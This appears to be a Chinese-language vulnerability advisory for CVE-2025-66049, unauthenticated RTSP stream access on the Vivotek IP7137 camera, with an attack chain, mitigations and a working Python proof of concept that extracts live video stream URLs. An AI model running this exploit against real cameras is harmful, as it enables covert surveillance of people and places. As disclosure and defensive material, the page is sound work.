IPBUF安全漏洞报告
English
CVE-2025-66049 CVSS 7.5 高危

CVE-2025-66049 Vivotek IP7137摄像头RTSP协议未授权访问漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-66049
漏洞类型
未授权访问/信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Vivotek IP7137 IP Camera

相关标签

信息泄露未授权访问RTSP协议网络摄像头物联网安全VivotekIP7137CVE-2025-66049无需认证

漏洞概述

CVE-2025-66049是Vivotek(台湾制造)IP7137网络摄像头存在的一个高危信息泄露漏洞。该漏洞允许未经身份验证的远程攻击者通过RTSP(实时流协议)在8554端口上直接访问摄像头的实时视频流,而无需提供任何用户名或密码。Vivotek IP7137是一款广泛应用于安防监控领域的网络摄像机,其固件版本0200a被确认存在此漏洞。由于该产品已到达生命周期终止阶段(EOL),供应商CERT团队多次联系均未获得回应,因此预计不会发布官方安全补丁。此漏洞的CVSS 3.1评分达到7.5分,主要威胁在于机密性影响为高,可导致用户隐私严重泄露。攻击者只需具备网络访问权限即可在无需任何凭证的情况下获取实时监控画面,这可能使住宅、企业、工厂等场所的监控系统遭到非法窥探,敏感场所的视频监控内容存在被窃取和恶意利用的风险。

技术细节

Vivotek IP7137摄像头的RTSP服务在8554端口监听,默认配置下未启用认证机制。RTSP(Real Time Streaming Protocol,RFC 2326)是一种用于控制多媒体服务器传输的应用层协议,常用于IP摄像头的视频流传输。该漏洞的根本原因在于摄像头的RTSP服务器在处理连接请求时,缺少对客户端身份的验证流程。具体来说,当攻击者构造特定的RTSP DESCRIBE请求发送到目标摄像头的8554端口时,服务器会直接返回SDP(Session Description Protocol)描述文件,其中包含可用的媒体流URL。随后攻击者可以通过RTSP PLAY命令直接获取实时视频流,无需经过任何认证握手过程。由于该设备固件设计缺陷,即使管理员在Web界面配置了访问密码,该密码也不会应用于RTSP服务。攻击者可以利用VLC media player、FFmpeg或其他RTSP客户端工具轻松实现漏洞利用,整个过程无需特殊工具或高级技术知识。

攻击链分析

STEP 1
步骤1
网络扫描:攻击者使用端口扫描工具(如Nmap)探测目标网络,发现开放8554端口的Vivotek IP7137摄像头设备
STEP 2
步骤2
发送RTSP DESCRIBE请求:攻击者构造并发送不含认证信息的RTSP DESCRIBE请求到目标摄像头的8554端口
STEP 3
步骤3
接收SDP响应:目标摄像头未进行身份验证,直接返回200 OK响应和SDP会话描述文件,包含可用媒体流信息
STEP 4
步骤4
提取流URL:从响应中提取RTSP流地址(如rtsp://target:8554/live.sdp),使用VLC或FFplay等工具直接播放
STEP 5
步骤5
实时监控:攻击者成功获取摄像头实时视频流,实现对监控区域的持续非法窥探

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-66049 PoC - Vivotek IP7137 RTSP Unauthenticated Access # Usage: python3 poc.py <target_ip> [port] import socket import sys def check_rtsp_unauthorized_access(target_ip, port=8554): """Check if Vivotek IP7137 RTSP service allows unauthenticated access""" # RTSP DESCRIBE request without authentication describe_request = ( f"DESCRIBE rtsp://{target_ip}:{port}/live.sdp RTSP/1.0\r\n" f"CSeq: 1\r\n" f"Accept: application/sdp\r\n" f"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) print(f"[*] Sending RTSP DESCRIBE request to {target_ip}:{port}") sock.send(describe_request.encode()) response = b"" while True: try: data = sock.recv(4096) if not data: break response += data # Check for end of headers if b"\r\n\r\n" in response: break except socket.timeout: break sock.close() response_text = response.decode('utf-8', errors='ignore') print(f"[+] Response received:\n{response_text}") # Check if we got SDP content without authentication challenge if "200 OK" in response_text and ("sdp" in response_text.lower() or "v=0" in response_text): print("[!] VULNERABLE: RTSP service allows unauthenticated access!") print("[!] Video stream can be accessed without credentials") return True elif "401 Unauthorized" in response_text: print("[-] NOT VULNERABLE: RTSP service requires authentication") return False else: print("[-] UNKNOWN: Could not determine vulnerability status") return None except socket.timeout: print(f"[-] Connection timed out") return None except ConnectionRefusedError: print(f"[-] Connection refused - service may not be running on port {port}") return None except Exception as e: print(f"[-] Error: {str(e)}") return None def get_rtsp_stream_url(target_ip, port=8554): """Extract RTSP stream URL from response""" describe_request = ( f"DESCRIBE rtsp://{target_ip}:{port}/live.sdp RTSP/1.0\r\n" f"CSeq: 1\r\n" f"Accept: application/sdp\r\n" f"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(describe_request.encode()) response = b"" while True: data = sock.recv(8192) if not data: break response += data if b"\r\n\r\n" in response: break sock.close() response_text = response.decode('utf-8', errors='ignore') # Extract track URLs from SDP import re urls = re.findall(r'rtsp://[^\s]+', response_text) if urls: print(f"[+] Available stream URLs: {urls}") print(f"[+] To view with VLC: vlc \"{urls[0]}\"") return urls return [] except Exception as e: print(f"[-] Error extracting stream URL: {str(e)}") return [] if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip> [port]") print("Example: python3 poc.py 192.168.1.100 8554") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8554 print(f"[*] Testing CVE-2025-66049 on {target}:{port}") print("=" * 60) result = check_rtsp_unauthorized_access(target, port) if result: print("\n[*] Attempting to extract stream URLs...") get_rtsp_stream_url(target, port)

影响范围

Vivotek IP7137 Firmware Version 0200a(已确认受影响)
Vivotek IP7137 所有固件版本(可能受影响,官方未确认)

防御指南

临时缓解措施
由于该产品已到达生命周期终止阶段,官方不会发布安全补丁。用户应当采取以下临时缓解措施:1) 在防火墙或路由器上封禁8554端口的外部访问,仅允许通过VPN从内网访问;2) 将摄像头隔离在独立的网络分段中,与主要业务网络分离;3) 监控网络流量,检测异常的RTSP连接行为;4) 考虑更换为具有持续安全支持的现代摄像头设备;5) 如果业务允许,物理断开摄像头或关闭RTSP服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表